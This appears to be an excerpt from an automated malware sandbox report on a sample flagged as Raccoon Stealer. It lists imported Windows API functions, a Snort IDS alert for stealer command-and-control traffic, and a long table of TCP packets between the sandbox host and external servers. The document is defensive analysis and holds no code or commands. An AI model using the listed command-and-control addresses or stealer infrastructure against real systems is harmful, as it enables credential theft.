KERNEL32.dll	GetConsoleAliasesLengthW, TlsGetValue, GetCPInfo, HeapAlloc, InterlockedIncrement, GetSystemWindowsDirectoryW, SetEnvironmentVariableW, QueryDosDeviceA, GetNamedPipeHandleStateA, SetHandleInformation, UnlockFile, FindFirstFileExW, BackupSeek, FreeEnvironmentStringsA, GetModuleHandleW, IsBadReadPtr, GetConsoleAliasesLengthA, GetDriveTypeA, ActivateActCtx, GetPrivateProfileIntA, SetFileShortNameW, ReadConsoleInputA, GetSystemWow64DirectoryW, GetVersionExW, SetDllDirectoryA, IsDBCSLeadByte, GetSystemDirectoryA, CreateActCtxA, CompareStringW, GetStartupInfoW, VerifyVersionInfoW, GetLastError, GetLongPathNameW, SetLastError, GetProcAddress, FindVolumeMountPointClose, GlobalGetAtomNameA, FindClose, GetPrivateProfileStringA, OpenWaitableTimerA, LocalAlloc, WriteProfileSectionW, SetSystemTime, GetModuleFileNameA, SetConsoleCursorInfo, GetModuleHandleA, FindFirstChangeNotificationA, GetProcessShutdownParameters, FreeEnvironmentStringsW, BuildCommDCBA, GetCurrentDirectoryA, TlsAlloc, GetWindowsDirectoryW, GetProfileSectionW, AreFileApisANSI, DeleteFileA, LocalFileTimeToFileTime, CloseHandle, SetStdHandle, FlushFileBuffers, MoveFileA, GetCommandLineW, HeapSetInformation, InterlockedDecrement, DecodePointer, ExitProcess, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, GetModuleFileNameW, WriteFile, GetStdHandle, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, QueryPerformanceCounter, GetTickCount, GetCurrentThreadId, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, HeapValidate, TlsSetValue, TlsFree, HeapCreate, GetACP, GetOEMCP, IsValidCodePage, LoadLibraryW, RtlUnwind, RaiseException, SetFilePointer, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, HeapReAlloc, HeapSize, HeapQueryInformation, HeapFree, LCMapStringW, MultiByteToWideChar, GetStringTypeW, CreateFileW
USER32.dll	GetMenuInfo, GetMessagePos
WINHTTP.dll	WinHttpReadData

Version Infos

Description	Data
Translations	0x0512 0x00ac

Possible Origin

Language of compilation system	Country where language is spoken	Map
Divehi; Dhivehi; Maldivian	Maldives
Spanish	Paraguay

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
10/29/21-17:56:10.887532	TCP	2033973	ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download)	49859	80	192.168.2.6	194.180.174.181

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2021 17:54:57.452867985 CEST	49758	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:57.506472111 CEST	80	49758	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:57.506591082 CEST	49758	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:57.506769896 CEST	49758	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:57.506782055 CEST	49758	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:57.587388992 CEST	80	49758	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:57.587482929 CEST	49758	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:57.588644028 CEST	49758	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:57.642092943 CEST	80	49758	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.082118988 CEST	49760	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.134398937 CEST	80	49760	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.134569883 CEST	49760	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.134718895 CEST	49760	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.134738922 CEST	49760	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.213341951 CEST	80	49760	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.213536024 CEST	49760	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.236197948 CEST	49760	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.288547039 CEST	80	49760	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.691682100 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.751055956 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.751277924 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.751471996 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.845956087 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.892142057 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.892180920 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.892205954 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.892230988 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.892256021 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.892280102 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.892353058 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.892426968 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.892640114 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.892668962 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.892729998 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.892743111 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.892787933 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.892826080 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.945322990 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.945365906 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.945391893 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.945415020 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.945437908 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.945461035 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.945483923 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.945492029 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.945508003 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.945591927 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.945864916 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.945897102 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.945923090 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.945945978 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.945969105 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.945990086 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.945991993 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.946017027 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.946039915 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.946062088 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.946065903 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.946086884 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.946111917 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.946113110 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.946156025 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.998554945 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.998610020 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.998636007 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.998661041 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.998686075 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.998711109 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.998733997 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.998759031 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.998791933 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.998840094 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.998846054 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.998969078 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.998999119 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.999022007 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.999047041 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.999064922 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.999070883 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.999095917 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.999099016 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.999120951 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.999145985 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.999160051 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.999169111 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.999195099 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.999197006 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.999219894 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.999243975 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:58.999243975 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:58.999283075 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.051832914 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.051868916 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.051892996 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.051914930 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.051938057 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.051961899 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.051966906 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.051984072 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.052007914 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.052030087 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.052035093 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.052062035 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.052102089 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.052124977 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.052149057 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.052160025 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.052170992 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.052187920 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.052194118 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.052273035 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.052310944 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.052335024 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.052382946 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.052716017 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.052747965 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.052771091 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.052793026 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.052815914 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.052819967 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.052951097 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.104980946 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105015039 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105036020 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105058908 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105081081 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105103016 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105124950 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105123997 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.105146885 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105169058 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105242014 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.105247021 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105309963 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105324030 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.105331898 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105355024 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105376005 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105396986 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105401039 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.105443001 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.105726957 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105752945 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105773926 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105794907 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105796099 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.105848074 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.105848074 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105870962 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105891943 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.105896950 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.105947018 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.158257961 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158288002 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158301115 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158313036 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158325911 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158343077 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158390999 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158409119 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158423901 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158442020 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158512115 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158524036 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158535957 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158648014 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158667088 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158716917 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158760071 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158793926 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.158811092 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158874989 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158890963 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158907890 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158927917 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.158956051 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.159094095 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.213046074 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213079929 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213097095 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213116884 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213140965 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213162899 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213227034 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213251114 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213279963 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.213325024 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.213347912 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213371038 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213392019 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213413954 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213428974 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.213449955 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.213470936 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213495016 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213521004 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213541985 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213565111 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.213596106 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.213670969 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213692904 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213716984 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213738918 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213742018 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.213761091 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213846922 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213870049 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213892937 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.213957071 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.214091063 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.267425060 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267460108 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267477989 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267504930 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267522097 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267534971 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267551899 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267569065 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267585993 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267601013 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267617941 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267635107 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267649889 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267663956 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.267668009 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267687082 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267704010 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267721891 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267738104 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267755032 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267771959 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267772913 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.267788887 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267806053 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267822027 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267832041 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.267838001 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267854929 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.267884016 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.321549892 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.321886063 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.321918011 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.321939945 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.321964979 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.321978092 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.321986914 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322009087 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322029114 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322045088 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.322052002 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322067022 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.322074890 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322093010 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.322096109 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322118998 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322139025 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322139978 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.322169065 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322189093 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.322190046 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322211981 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322232962 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322237015 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.322254896 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322274923 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322278023 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.322298050 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322318077 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322319031 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.322340012 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322355986 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.322361946 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322384119 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322405100 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.322405100 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.322448969 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.374651909 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.374701023 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.374816895 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.375372887 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375410080 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375437975 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375466108 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375473976 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.375493050 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375521898 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375535011 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.375554085 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375566959 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.375581980 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375612020 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375631094 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.375639915 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375672102 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375696898 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375724077 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375745058 CEST	49761	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:54:59.375751972 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375780106 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375806093 CEST	80	49761	185.98.87.159	192.168.2.6
Oct 29, 2021 17:54:59.375813961 CEST	49761	80	192.168.2.6	185.98.87.159
